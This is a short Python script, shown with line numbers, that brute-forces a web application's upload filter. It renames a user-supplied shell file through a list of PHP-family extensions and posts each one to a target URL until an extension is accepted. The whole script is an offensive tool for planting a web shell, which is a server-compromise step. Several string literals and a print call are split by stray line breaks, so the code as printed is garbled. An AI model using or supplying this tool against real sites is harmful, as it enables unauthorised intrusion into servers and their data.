1 import requests
 2 import sys
 3 import optparse
 4 import os
 5 
 6 
 7 class ExtensionTest:
 8     def __init__(self) -> None:
 9         self.url = self.get_params()[0]
10         self.filename = self.get_params()[1]
11         self.extension_list = ['.php', '.php2', '.php3', '.php4','.php5', '
 
.phtml']   #Possible extension to try
12 
13 
14     def get_params(self):
15         parser = optparse.OptionParser("Usage: <Program> -u url -f shell file")
16         parser.add_option('-u', '--url', dest='url', type='string', help='Specify target url')
17         parser.add_option('-f', '--filename
 
', dest='filename',type='string', help='Specify shell filename')
18         options, args = parser.parse_args()
19         if options.url is None or options.filename is None:
20             print(parser.usage)
21             sys.exit(0)  
22 
23         if not os.path.exists(options.filename):
24             print
 
("The shell file does not exist")   
25             sys.exit(0)
26         
27         return options.url, options.filename    
28 
29 
30     def file_upload(self, filename):
31         headers = {
32         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0'
33     }
34         try:
35             with open(filename, 'rb') as f:
36                 file_dict = {'file':f}    #鍵名要與實際的form表單中的檔案部分一致，否則出現莫名其妙的錯誤，這個不是檔名
37                 response = requests.post(self.url, files=file_dict)
38                
39                 return response.text
40         except:
41             return None
42 
43     def run(self):
44         for ext in self.extension_list:
45             filename = self.filename.split('.')[0] + ext
46             print('[-] Try %s' %filename)
47             os.rename(self.filename, filename)
48            
49             response = self.file_upload(filename)
50          
51             if response:
52                 if "Extension not allowed" in response:
53                     print('%s not allowed' % ext)
54                     os.rename(filename, self.filename)
55                 else:
56                     
57                     print("%s allowed" % ext)
58                     sys.exit(0)
59 
60 
61 if __name__ == "__main__":
62     ext = ExtensionTest()
63     ext.run()